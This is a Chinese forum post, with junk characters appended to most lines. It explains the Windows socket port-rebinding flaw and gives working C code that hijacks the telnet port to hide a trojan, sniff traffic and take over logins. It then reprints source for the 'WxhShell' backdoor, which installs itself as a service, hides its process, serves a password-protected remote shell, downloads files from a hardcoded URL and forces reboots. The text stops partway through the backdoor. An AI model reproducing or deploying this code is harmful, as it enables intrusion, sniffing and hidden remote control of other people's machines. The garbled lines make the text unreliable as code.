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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +O*S>0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]zhFFq`  
C.C\(2- Rr  
  saddr.sin_family = AF_INET; o{ f n}  
X:j&+d2g0/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?P4`  
Y\%R6/Gj|u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &+J5GHt@  
LZX-am`%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V}'|a<8kVv  
?:lOn(0&  
  这意味着什么?意味着可以进行如下的攻击: Y GO ;wIS  
YzhZ%:8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZBJ.dK?Ky|  
j0kEi+!TVq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B>o #eW  
L_<&oq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }zlvs a+  
3 ^{U:"N0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VrQw;-rQ  
W a2V Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $kZ,uvKN  
wAVO%8u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :kOLiko!4>  
OJbY\U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UDt.w82  
[ }jSx]  
  #include $B2* x$  
  #include GNZQj8  
  #include IE|x+RBD  
  #include    ^NHQ[4I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q'7o_[o/  
  int main() @H]g_yw [:  
  { 6 !+xf  
  WORD wVersionRequested; Lyt6DvAp"  
  DWORD ret; XFG]%y=/6  
  WSADATA wsaData; \%mR*J+  
  BOOL val; 8W[QV  
  SOCKADDR_IN saddr; :1hp_XfJb  
  SOCKADDR_IN scaddr; -x:Wp*,  
  int err; [LjYLm%<  
  SOCKET s; (|(Y;%>-v  
  SOCKET sc; M\enjB7k  
  int caddsize; 4AZlr*U  
  HANDLE mt; u17Da9@;  
  DWORD tid;   {pd%I  
  wVersionRequested = MAKEWORD( 2, 2 ); X.j#??  
  err = WSAStartup( wVersionRequested, &wsaData ); zc*qmb  
  if ( err != 0 ) { P]yER9'  
  printf("error!WSAStartup failed!\n"); AWh{dM  
  return -1; m&Ms[X  
  } qWw@6VvoQ  
  saddr.sin_family = AF_INET; "h2;65@  
   }{bO ~L7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PcM:0(,G  
n!ea)+^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r1}7Q7-z  
  saddr.sin_port = htons(23); u32wS$*8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 44kY[jhf  
  { lY?TF  
  printf("error!socket failed!\n"); jMW|B  
  return -1; 87YT;Z;U&  
  } ?rk3oa-  
  val = TRUE; 8ENAif   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X xB*lX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d0MX4bhZ  
  { j 9y,UT  
  printf("error!setsockopt failed!\n"); E+ JGqk  
  return -1; KD-0NO=oL  
  } AJC Wp4,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g#Zb}^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BL]!j#''KE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yoGE#+|7^  
_YmY y\g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V=3NIw18  
  { kYPowM  
  ret=GetLastError(); T_5 E  
  printf("error!bind failed!\n"); WuSRA<{P  
  return -1; o1GWcxu*\  
  } }{=%j~V;&  
  listen(s,2); Vn=J$Uv0  
  while(1) qW;nWfkYC  
  { )Qw|)='-  
  caddsize = sizeof(scaddr); B,e@v2jO|  
  //接受连接请求 D;BFl(l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kki]6_/n  
  if(sc!=INVALID_SOCKET) [MFV:Z  
  { P@k ;Lg"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YjvqU /[3  
  if(mt==NULL) Vxo3RwmR  
  { */O6cF7  
  printf("Thread Creat Failed!\n"); 1V FAfv%}  
  break; m4>v S  
  } +:/`&LOS-  
  } '9{H(DA  
  CloseHandle(mt); ~qFi0<-M  
  } pC_2_,6$  
  closesocket(s); $Snwx  
  WSACleanup(); ]2h~Db=  
  return 0; H# 2'\0u  
  }   :L*CL 8m  
  DWORD WINAPI ClientThread(LPVOID lpParam) l]oGhM;  
  { z#D@mn5\ a  
  SOCKET ss = (SOCKET)lpParam; c6BaC@2  
  SOCKET sc; *5*d8;@>  
  unsigned char buf[4096]; FZj tQ{M  
  SOCKADDR_IN saddr; yK{;72  
  long num; p1J%=  
  DWORD val; J[VQ6fD%  
  DWORD ret; |\~cjPX(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dRWp/3 }  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $sGX%u  
  saddr.sin_family = AF_INET; ?y ]3kU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~Z.lvdA_5  
  saddr.sin_port = htons(23); Vi5RkUY]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8$?a?7,>|  
  { "=P@x|I  
  printf("error!socket failed!\n"); N{|N_}X`Y  
  return -1; He"> kJx  
  } <:RU,  
  val = 100; NFmB ^@k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]=@>;yP)  
  { `A&64D  
  ret = GetLastError(); XImb"7|  
  return -1; jUW{Z@{U  
  } v,Ep2$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %8S!l;\H5  
  { n+Fl|4  
  ret = GetLastError(); !Aj_r^[X`  
  return -1; |Vd)7/LN  
  } .$99/2[90  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uh:  
  { s7a\L=#p(  
  printf("error!socket connect failed!\n"); DX4 95<6*  
  closesocket(sc); = 1`  
  closesocket(ss); OM}:1He  
  return -1; <Ni]\-*  
  } 47ir QK*  
  while(1) L.+5`&  
  { K V  4>(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :rk]o*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ``>WFLWTn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g>VkQos5"  
  num = recv(ss,buf,4096,0); `P : -a7_  
  if(num>0) m(*CuM[E  
  send(sc,buf,num,0); _W]3_1Lu  
  else if(num==0) mgH4)!Z*56  
  break; Tvf]OJ9N  
  num = recv(sc,buf,4096,0); Er~5\9,/<]  
  if(num>0) CO4*"~']t  
  send(ss,buf,num,0); j&Z:|WniK  
  else if(num==0) Dugr{Y/0  
  break; BR"*-$u0;  
  } P(A%z2Ql  
  closesocket(ss); NrS1y"#d9  
  closesocket(sc); 3YA !2  
  return 0 ; =_.Zv  
  } iwrdZLE  
)9L1WOGi  
E*rDwTd  
========================================================== T'f E4}rY  
!C#q  
下边附上一个代码,,WXhSHELL 8h;1(S)*Z  
8M(N   
========================================================== 0~an\4nh  
(_U&EX%  
#include "stdafx.h" N @]*E  
`9b D%M  
#include <stdio.h> mP3:Fc _G  
#include <string.h> Q:=s99  
#include <windows.h> u) fbR  
#include <winsock2.h>  BX+-KvT  
#include <winsvc.h> i aP+Vab  
#include <urlmon.h> K _O3DcQ  
`,\WhJ?9  
#pragma comment (lib, "Ws2_32.lib") 8c]\4iau  
#pragma comment (lib, "urlmon.lib") 2{@: :JZ  
NoDq4>   
#define MAX_USER   100 // 最大客户端连接数 aViJ?*  
#define BUF_SOCK   200 // sock buffer h1JG^w$ 5  
#define KEY_BUFF   255 // 输入 buffer r(i<H%"Z  
:^J(%zy  
#define REBOOT     0   // 重启 '<4OA!,^)  
#define SHUTDOWN   1   // 关机 `~pB1sS{  
1 *;?uC\  
#define DEF_PORT   5000 // 监听端口 ^N0hc!$  
NTgk0cq  
#define REG_LEN     16   // 注册表键长度 ]!h%Jlu  
#define SVC_LEN     80   // NT服务名长度  {l_R0  
4/Ok/I  
// 从dll定义API %# J8cB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kpK: @  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8oN4!#:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AVyo)=&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BC!l)2  
`^ F'af  
// wxhshell配置信息 >.J68 x  
struct WSCFG { <[l2]"Q  
  int ws_port;         // 监听端口 M*aE)D '  
  char ws_passstr[REG_LEN]; // 口令 .^P^lQT]>  
  int ws_autoins;       // 安装标记, 1=yes 0=no m!E36ce}  
  char ws_regname[REG_LEN]; // 注册表键名 #r:J,D6*  
  char ws_svcname[REG_LEN]; // 服务名 (VwS 9:`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /EKfL\3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dzc 4J66  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KJcdX9x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B'atwgI0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9r\8  !R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P#rwYPww\  
q0DoR@  
}; )p12SGR5  
=NyzX&H6  
// default Wxhshell configuration B]Yj"LM)  
struct WSCFG wscfg={DEF_PORT, >:Q:+R;3o  
    "xuhuanlingzhe", s( 2=E|  
    1, <fs2;  
    "Wxhshell", klJDYFX=HK  
    "Wxhshell", ] p'+F  
            "WxhShell Service", M}/%t1^g:  
    "Wrsky Windows CmdShell Service", EzzzH(!j  
    "Please Input Your Password: ", 3)42EM'9(  
  1, ~iF*+\  
  "http://www.wrsky.com/wxhshell.exe", p~Dm3^Y  
  "Wxhshell.exe" UxD1+\N6?  
    }; *b7 HtUA  
Mr/^V,rA  
// 消息定义模块 >G/>:wwSP.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MH{vFA4:,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mj5A*%"W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D1#E&4   
char *msg_ws_ext="\n\rExit."; HRx#}hN?+  
char *msg_ws_end="\n\rQuit."; ;#fB=[vl";  
char *msg_ws_boot="\n\rReboot..."; gEU)UIJ  
char *msg_ws_poff="\n\rShutdown..."; 6sB!m|zm]:  
char *msg_ws_down="\n\rSave to "; pN4!*7M  
"%A[%7LY  
char *msg_ws_err="\n\rErr!"; Z2*hQ`eE  
char *msg_ws_ok="\n\rOK!"; wrGd40  
\+L_'*&8  
char ExeFile[MAX_PATH]; J,m.LpY  
int nUser = 0; a,&Kvh  
HANDLE handles[MAX_USER]; ~LYKt0/W&  
int OsIsNt; |(XV '-~  
): Q5u6  
SERVICE_STATUS       serviceStatus; .9 nsW?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xH3SVn(I  
 jCKRoao  
// 函数声明 v`beql  
int Install(void); gY*Cl1 Iz  
int Uninstall(void); ecf<(Vl}  
int DownloadFile(char *sURL, SOCKET wsh); >[ 72]<6  
int Boot(int flag); 3^1)W!n/  
void HideProc(void); SL@Vk(  
int GetOsVer(void); W,AIE 6F  
int Wxhshell(SOCKET wsl); zL)S,  
void TalkWithClient(void *cs); 6@bGh|   
int CmdShell(SOCKET sock); CAc nH  
int StartFromService(void); n (cSfT  
int StartWxhshell(LPSTR lpCmdLine);  \2eYw.I=  
p c-'+7Dh>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <|Z0|sel  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GXJ3E"_.  
`Rj i=k>  
// 数据结构和表定义 B;1wnKdj  
SERVICE_TABLE_ENTRY DispatchTable[] = L[TL~@T   
{ f()^^+  
{wscfg.ws_svcname, NTServiceMain}, d5^ipu  
{NULL, NULL} =7Tbu'O;  
}; dVe3h.,[v  
K7e<hdP_#  
// 自我安装 +zL=UEBN  
int Install(void) X<-]./  
{ H,3$TNX y  
  char svExeFile[MAX_PATH]; DgOoEHy[  
  HKEY key; `yuD/-j  
  strcpy(svExeFile,ExeFile); F<IqKgGzH  
]V.9jlXF  
// 如果是win9x系统,修改注册表设为自启动 L=HL1Qe$G]  
if(!OsIsNt) { -6t# ?Dkc'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A=h`Z^8\B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( 7Y :3  
  RegCloseKey(key); .fD k5uo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QfwGf,0p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c%uhQ 62  
  RegCloseKey(key); ' P-K}Y  
  return 0; 9iS3.LCfX  
    } X8;03EW;  
  } unD8h=Z2  
} o/=K:5  
else { ~xvQ?c ?-  
fCEd :Kr  
// 如果是NT以上系统,安装为系统服务 ZMx_J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?{{E/J:%  
if (schSCManager!=0) /!AdX0dx  
{ gfr``z=>O  
  SC_HANDLE schService = CreateService ch : 428  
  ( %@pTEhpF  
  schSCManager, g08=D$P  
  wscfg.ws_svcname, eTrGFe!8w  
  wscfg.ws_svcdisp, J>Zd75;U  
  SERVICE_ALL_ACCESS, y)(SS8JR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A9tQb:  
  SERVICE_AUTO_START, A9lqVMp64  
  SERVICE_ERROR_NORMAL, rZpc"<U  
  svExeFile, YrZAy5\  
  NULL, cMK6   
  NULL, ?cg+RNI  
  NULL, If4YqBG  
  NULL, !4oYQB  
  NULL #axRg=d?K  
  ); {bc<0  
  if (schService!=0) |'KNR]: N  
  { ?pQ, 5+8  
  CloseServiceHandle(schService); p}(w"?2  
  CloseServiceHandle(schSCManager); vBM\W%T|d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?0_i{BvN  
  strcat(svExeFile,wscfg.ws_svcname); &V$'{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R9=,T0Y p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jl:O~UL6i  
  RegCloseKey(key); /9GqEQsfM  
  return 0; c+4SGWmO  
    } +m>Kb edl  
  } GD< Afni  
  CloseServiceHandle(schSCManager); $L`7(0U-  
} \nxt\KD  
} <T0-m?D_$  
QMfYM~o  
return 1; QAb[M\G  
} {nHy!{+qqG  
);Gt!]p`;  
// 自我卸载 p=405~  
int Uninstall(void) WtlIrdc  
{ C<n.C*o  
  HKEY key; Ho"FB|e  
9"V27"s  
if(!OsIsNt) { 8E0Rg/DnT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KE5f`h  
  RegDeleteValue(key,wscfg.ws_regname); u $sX6  
  RegCloseKey(key); 03rZz1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _0vXujz  
  RegDeleteValue(key,wscfg.ws_regname); Hs-NP#I  
  RegCloseKey(key); )n0g6  
  return 0; %8 4<@f&n]  
  } '`3-X];p  
} Ogjjjy84vM  
} &"^A  
else { t-E'foYfr`  
gXH89n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DI$z yj~3  
if (schSCManager!=0) X.272q<.  
{ P, S9gG9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4AF" +L  
  if (schService!=0) f-{[ushj  
  { (.n" J2qj  
  if(DeleteService(schService)!=0) { >StvP=our  
  CloseServiceHandle(schService); '0o`<xW  
  CloseServiceHandle(schSCManager); uHf~KYL  
  return 0; aMz%H|/$  
  } {s`1+6_&Vz  
  CloseServiceHandle(schService); @cjhri|vH  
  } :Z< 5iLq  
  CloseServiceHandle(schSCManager); xaeY^"L  
} nh E!Pk  
} %@BQv 4oJ  
]AHi$Xx  
return 1; Tzk8y 7$[  
} X2Lhb{ZHE  
}]n&"=Zk-  
// 从指定url下载文件 {{<o1{_H  
int DownloadFile(char *sURL, SOCKET wsh) !P:hf/l[B  
{ a)Wf* <B  
  HRESULT hr; [e&$4l IS  
char seps[]= "/"; slPFDBx  
char *token; Pq_Il9  
char *file; 4Y)3<=kDG  
char myURL[MAX_PATH]; k| jC c  
char myFILE[MAX_PATH]; :+R ||q i  
:*oI"U*f  
strcpy(myURL,sURL); A: @=?(lI3  
  token=strtok(myURL,seps); >?$Ze@  
  while(token!=NULL) _;@kS<\N  
  { |r /}r,t}  
    file=token; dmF<J>[  
  token=strtok(NULL,seps); c/x(v=LW  
  } $[|8bE  
"0/OpT7h7  
GetCurrentDirectory(MAX_PATH,myFILE); ' bT9AV%  
strcat(myFILE, "\\"); 8KAyif@1::  
strcat(myFILE, file); gK%&VzG4  
  send(wsh,myFILE,strlen(myFILE),0); S$$:G$j  
send(wsh,"...",3,0); @D60  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'wQ=b  
  if(hr==S_OK) sJ0y3)PQ  
return 0; # =322bnO  
else zD?$O7 |ZK  
return 1; }7C{:H2d  
zg5 u  
} s!+?) bB  
>2v_fw  
// 系统电源模块 [I^SKvM  
int Boot(int flag) I &m~ cBj<  
{ a}Ov @7  
  HANDLE hToken; WQ*$y3%  
  TOKEN_PRIVILEGES tkp; 0` S!+d  
=1esUO[nx  
  if(OsIsNt) { }$UuYO/i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <4! w2vxG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @FbzKHdV/  
    tkp.PrivilegeCount = 1; ]T*{M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \ _i`=dx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %ZQl.''ISa  
if(flag==REBOOT) { gbInSp`4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qe4  
  return 0; RCmPZ  
} wZOO#&X#r  
else { 10 p+e_@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |]I?^:I  
  return 0; q,*IR*B:a  
} v =u|D$  
  } C'=C^X%  
  else { ;pULJ}rDb  
if(flag==REBOOT) { O}KT>84M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xz5=fj&  
  return 0; VyI%^S ]sS  
} P, Vq/Tt  
else { j$L<9(DoR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xw=B4u'z  
  return 0; A2+t`[ w  
} d?S<h`{x   
} 7C 4Njei"  
Np=*B_ @8  
return 1; U5"F1CaW~  
} @lmke>  
nTHP~]  
// win9x进程隐藏模块 )*_YeT&w.  
void HideProc(void) ]-AT(L >  
{ Z6 aT%7}}  
3'']q3H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l'o}4am  
  if ( hKernel != NULL ) P/ y-K0u  
  { ^X_%e|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ h:^Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pa\]@;P1  
    FreeLibrary(hKernel); pr m  
  } <<A@69"4n  
JN8k x;@  
return; s0`uSQ2X  
} IBuuZ.=j2h  
.*zQ\P  
// 获取操作系统版本 |FcG$[  
int GetOsVer(void) BShZ)t  
{ Al` ;SWN  
  OSVERSIONINFO winfo; B"EMir'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D~%cf  
  GetVersionEx(&winfo); `QkzWy~V3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J*;t{M5  
  return 1; v |i(peA#  
  else PNKmI  
  return 0; -I|yi'  
} tb=(L  
<<`."RY#0  
// 客户端句柄模块 RSnK`N\9jb  
int Wxhshell(SOCKET wsl) /stED{j,  
{ `Y[zF1$kz^  
  SOCKET wsh; M9N|Ql  
  struct sockaddr_in client; _{ba  
  DWORD myID; o?X\,}-s  
gr S,PKH  
  while(nUser<MAX_USER) :4Y|%7[  
{ fDRQ(}  
  int nSize=sizeof(client); bk7miRIB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %v|,-B7Yx  
  if(wsh==INVALID_SOCKET) return 1; F(w>lWs;  
h?R-t*G?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6iTDk  
if(handles[nUser]==0) Fj5^_2MU:  
  closesocket(wsh); 97BL%_^k  
else SEuj=Vie#  
  nUser++; O/<jt'  
  } V]<dh|x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qv?jo(]  
=uvv|@Z  
  return 0; J L Z  
} ! [:K/  
 /!9949XV  
// 关闭 socket t=pG6U  
void CloseIt(SOCKET wsh) #uH1!UQb  
{ i@p?.%K{  
closesocket(wsh); hyBSS,I  
nUser--; ;w+A38N$J  
ExitThread(0); ;WzT"yW)T  
} `hfwZ*s  
<W5F~K ;41  
// 客户端请求句柄 ]xS< \{og  
void TalkWithClient(void *cs) z;3}GxE-si  
{ xA-G&oC]<T  
{:rU5 !n  
  SOCKET wsh=(SOCKET)cs; ())|x[>JS+  
  char pwd[SVC_LEN]; oZ=e/\[K  
  char cmd[KEY_BUFF]; G>!"XK:fB  
char chr[1]; J:Qp(s-N^:  
int i,j; 7f(UbO@BD  
QvqBT  
  while (nUser < MAX_USER) { ~+d]yeDrhx  
N@)g3mX>  
if(wscfg.ws_passstr) { dk.da&P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G +YF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J LeV@NO  
  //ZeroMemory(pwd,KEY_BUFF); ? &1?uc  
      i=0; [OT@gp:  
  while(i<SVC_LEN) { >!oN+8[~  
> W0hrt?b  
  // 设置超时 ;j(xrPNb  
  fd_set FdRead; f{+8]VA  
  struct timeval TimeOut; $Qm;F% >  
  FD_ZERO(&FdRead);  10DS  
  FD_SET(wsh,&FdRead); %d=-<EQ|&  
  TimeOut.tv_sec=8; `P GWu1/  
  TimeOut.tv_usec=0; \myj Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N-NwGD{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )HU?7n.{  
~\Ynih  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CtE".UlCA  
  pwd=chr[0]; zL_X?UmV  
  if(chr[0]==0xd || chr[0]==0xa) { Vk-_v5  
  pwd=0; rkzhN59;  
  break; 0)84Z.k  
  } In 1.R$O  
  i++; - -]\z*x  
    } ~#-`Qh  
5}By2Tx  
  // 如果是非法用户,关闭 socket u&g} !Smc8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pGOS'.K%t8  
} 2/bck)p=  
U M#]olh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kQ:2@SOm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }??q{B@v  
u}$U|Cw-;T  
while(1) { p;B +g X  
jLEU V  
  ZeroMemory(cmd,KEY_BUFF); g_}@/5?y  
G3e%~  
      // 自动支持客户端 telnet标准   X!"y>J  
  j=0; :q= XE$%H  
  while(j<KEY_BUFF) { ,= PDL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mc\lzq8\ 1  
  cmd[j]=chr[0]; E dU3k'z$  
  if(chr[0]==0xa || chr[0]==0xd) { 6Qo6 T][  
  cmd[j]=0; N* z<VZ  
  break; "=RB #  
  } - Zw"o>  
  j++; N[mOJa:  
    } F4PD3E_#  
z=u4&x|xA  
  // 下载文件 @hv9 =v+  
  if(strstr(cmd,"http://")) { %Cr- cR0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Le}q>>o;q  
  if(DownloadFile(cmd,wsh)) H37Z\xS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UjfB+=7I{L  
  else sS0psw1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X`vDhfh>N  
  } c1z5t]d   
  else { k'\RS6M`L  
kC#;j=K?  
    switch(cmd[0]) { Xau.4&\d  
  *]EcjK%  
  // 帮助 TLkkB09fvk  
  case '?': { f8n'9HOw>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }^iE|YKz  
    break; x,V_P/?%  
  } tF;aB*  
  // 安装 im?nR+t+X  
  case 'i': { g)"6|Z?D"  
    if(Install()) oW8[2$_N+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6jnRC*!?  
    else -~xd-9v?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G9gvOEI/  
    break; \2LCpN  
    } c.XLEjV|  
  // 卸载 @e slF  
  case 'r': { s}A]lY  
    if(Uninstall()) ]~oM'?&!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g>Z1ZK0;M  
    else XrvrN^'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LD5'4,%-  
    break; xNONf4I:6J  
    } 4C2 D wj  
  // 显示 wxhshell 所在路径 X(1.Hjh  
  case 'p': { !P;qc  
    char svExeFile[MAX_PATH]; %:/;R_  
    strcpy(svExeFile,"\n\r"); !l&lb]V cz  
      strcat(svExeFile,ExeFile); &fTCY-W[  
        send(wsh,svExeFile,strlen(svExeFile),0); <>R7G)w F  
    break; kxO$Uk&TX  
    } :Rq D0>1  
  // 重启 *[jaI-~S  
  case 'b': { m]%cNxS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :1s1wY3Y  
    if(Boot(REBOOT)) /)G9w]|T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .!`j3W]  
    else { ^.4<#Qs  
    closesocket(wsh); NfSe(rd  
    ExitThread(0); NT nn!k  
    } Wl,yznT  
    break; Xu T|vh  
    } a( qw  
  // 关机 G%P]qi  
  case 'd': { 1n,JynJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6-^+btl)#  
    if(Boot(SHUTDOWN)) Oll\T GXP!  
